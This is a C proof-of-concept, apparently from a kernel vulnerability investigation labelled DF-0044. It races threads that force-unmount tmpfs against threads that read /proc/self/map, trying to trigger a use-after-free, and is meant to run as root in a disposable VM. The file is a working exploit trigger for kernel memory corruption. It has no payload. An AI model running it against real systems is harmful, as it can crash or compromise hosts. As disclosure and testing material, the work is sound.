DF-0044 / mount_uaf_root.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 | /* * DF-0044 PoC (root variant) -- same race, but uses MNT_FORCE for a * faster free-side cycle. Run as root inside the guest. * * The unprivileged variant mount_uaf.c exercises the same race without * MNT_FORCE; this variant maximizes the free-side rate to widen the * (extremely tight) race window. * * Build: cc -pthread -O2 -o mount_uaf_root mount_uaf_root.c * Run (root, inside the guest, disposable VM): * cd /tmp/df0044/m && ./mount_uaf_root /tmp/df0044/m 60 * * CONFIRMED CODE-LEVEL BUG -- see VERDICT.md and mount_uaf.c. */ #define _GNU_SOURCE #include <errno.h> #include <fcntl.h> #include <pthread.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/mount.h> #include <sys/stat.h> struct tmpfs_mount_info { int ta_version; long long ta_nodes_max; long long ta_size_max; unsigned long long ta_maxfsize_max; unsigned ta_root_uid; unsigned ta_root_gid; unsigned short ta_root_mode; }; static char mpoint[512]; static volatile int go = 1; static volatile unsigned long long iter_deref = 0; static volatile unsigned long long iter_free = 0; static volatile unsigned long long iter_free_fail = 0; static void * mount_cycler(void *a) { (void)a; while (go) { struct tmpfs_mount_info mi; memset(&mi, 0, sizeof(mi)); mi.ta_version = 2; mi.ta_root_uid = 0; mi.ta_root_gid = 0; mi.ta_root_mode = 0755; int mr = mount("tmpfs", mpoint, 0, &mi); if (mr != 0) { iter_free_fail++; unmount(mpoint, MNT_FORCE); continue; } /* MNT_FORCE = 0x80000 -- fast teardown. */ int ur = unmount(mpoint, MNT_FORCE); if (ur == 0) iter_free++; else iter_free_fail++; } return NULL; } static void * map_reader(void *a) { (void)a; char buf[65536]; while (go) { int fd = open("/proc/self/map", O_RDONLY); if (fd < 0) { usleep(50); continue; } ssize_t n; while ((n = read(fd, buf, sizeof(buf))) > 0) iter_deref++; close(fd); } return NULL; } int main(int argc, char **argv) { if (argc > 1) snprintf(mpoint, sizeof(mpoint), "%s", argv[1]); else if (getcwd(mpoint, sizeof(mpoint)) == NULL) { perror("getcwd"); return 2; } unsigned int secs = 30; if (argc > 2) secs = (unsigned int)atoi(argv[2]); unsigned int nfree = 4; if (argc > 3) nfree = (unsigned int)atoi(argv[3]); fprintf(stderr, "DF-0044-root: cycle %s, %u cyclers, %us\n", mpoint, nfree, secs); pthread_t tf[16], td[4]; for (unsigned int i = 0; i < nfree && i < 16; i++) pthread_create(&tf[i], NULL, mount_cycler, NULL); for (int i = 0; i < 4; i++) pthread_create(&td[i], NULL, map_reader, NULL); sleep(secs); go = 0; for (unsigned int i = 0; i < nfree && i < 16; i++) pthread_join(tf[i], NULL); for (int i = 0; i < 4; i++) pthread_join(td[i], NULL); fprintf(stderr, "DF-0044-root: deref=%llu free_ok=%llu free_fail=%llu\n", iter_deref, iter_free, iter_free_fail); fprintf(stderr, "DF-0044-root: still alive -- race not won\n"); return 0; } |